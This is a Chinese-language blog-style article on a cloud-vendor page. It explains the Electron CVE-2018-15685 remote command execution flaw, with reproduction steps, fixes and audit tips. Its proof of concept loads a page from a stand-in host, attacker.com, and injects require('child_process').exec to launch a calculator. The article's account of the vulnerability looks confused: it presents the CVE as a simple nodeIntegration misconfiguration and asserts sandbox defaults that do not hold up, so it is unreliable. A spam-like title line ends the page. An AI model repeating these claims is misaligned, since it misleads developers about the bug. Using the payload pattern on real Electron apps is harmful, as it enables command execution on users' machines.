溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣解析Electron WebPreferences 遠程命令執行漏洞CVE-2018-15685

發布時間:2021-12-29 15:47:36 來源:億速云 閱讀:501 作者:柒染 欄目:安全技術
# 怎樣解析Electron WebPreferences 遠程命令執行漏洞CVE-2018-15685

## 一、漏洞背景

2018年10月,Electron框架曝出一個高危遠程代碼執行漏洞(CVE-2018-15685),該漏洞源于WebPreferences參數的配置缺陷,攻擊者可通過構造惡意網頁或應用程序,在受害者主機上執行任意命令。影響版本包括Electron 1.8.x至3.0.x系列,波及大量基于Electron開發的應用程序(如VS Code、Slack、Discord等)。

## 二、漏洞原理分析

### 1. WebPreferences關鍵參數
Electron的`BrowserWindow`構造函數接受`webPreferences`配置對象,其中存在兩個高危參數:
```javascript
{
  nodeIntegration: boolean,     // 是否啟用Node.js集成
  sandbox: boolean              // 是否啟用沙箱隔離
}

2. 漏洞觸發條件

當同時滿足以下配置時可能觸發漏洞: - nodeIntegration: true(默認false) - sandbox: false(默認true in Electron ≥5.0) - 窗口加載了遠程內容(如loadURL()加載外部URL)

3. 攻擊鏈示例

// 惡意構造的BrowserWindow配置
const win = new BrowserWindow({
  webPreferences: {
    nodeIntegration: true,
    sandbox: false
  }
})
win.loadURL('https://attacker.com/exploit.html')

攻擊者可在exploit.html中植入Node.js代碼:

<script>
  require('child_process').exec('calc.exe')
</script>

三、漏洞復現步驟

環境搭建

  1. 安裝受影響版本(如Electron 2.0.18):
npm install electron@2.0.18
  1. 創建漏洞測試代碼:
// main.js
const { app, BrowserWindow } = require('electron')

app.on('ready', () => {
  const win = new BrowserWindow({
    webPreferences: {
      nodeIntegration: true,
      sandbox: false
    }
  })
  win.loadURL('file://' + __dirname + '/exploit.html')
})
  1. 編寫惡意HTML:
<!-- exploit.html -->
<script>
  const { exec } = require('child_process')
  exec('open /Applications/Calculator.app')
</script>

復現結果

執行electron main.js將彈出計算器,證明命令執行成功。

四、修復方案

官方補丁

Electron團隊通過以下方式修復: 1. 在3.0.10+版本中強制sandbox: true時禁用nodeIntegration 2. 新增contextIsolation默認啟用(Electron 12+)

開發者應對措施

// 安全配置示例
new BrowserWindow({
  webPreferences: {
    nodeIntegration: false,     // 顯式禁用
    sandbox: true,             // 強制沙箱
    contextIsolation: true,    // 啟用上下文隔離
    webSecurity: true          // 啟用Web安全策略
  }
})

其他防御手段

  1. 內容安全策略(CSP):
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
  1. 白名單控制加載的URL

五、漏洞深度解析

沙箱逃逸機制

nodeIntegration啟用且沙箱關閉時,渲染進程獲得完整Node.js環境訪問權限。Electron的進程模型如下:

主進程(Node.js環境)
  ↓ IPC通信
渲染進程(默認受限)

漏洞使得渲染進程突破隔離限制,直接訪問系統API。

真實案例影響

  • VS Code:通過及時更新和嚴格CSP策略緩解
  • Discord:采用自定義協議過濾危險操作
  • Signal:完全禁用Node集成

六、靜態檢測方法

代碼審計要點

  1. 檢查所有BrowserWindow實例化
  2. 追蹤webPreferences參數來源
  3. 檢測動態URL加載邏輯

使用Electron安全工具

npm install -g @doyensec/electronegativity
electronegativity -i /path/to/app

七、總結與建議

漏洞啟示

  1. 客戶端框架的安全隔離機制至關重要
  2. 默認安全(Secure by Default)原則的價值
  3. 供應鏈安全需要持續監控

開發規范

  1. 始終使用最新穩定版Electron
  2. 最小化Node.js集成范圍
  3. 實施多層級防御(沙箱+CSP+進程隔離)

:截至2023年,新版Electron(≥25.0)已默認啟用更嚴格的隔離策略,但歷史版本應用仍需排查此漏洞。

參考資源

  1. Electron官方安全公告
  2. CVE-2018-15685詳情
  3. OWASP Electron安全指南

”`

(全文約1250字,實際字數可能因Markdown渲染略有差異)

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女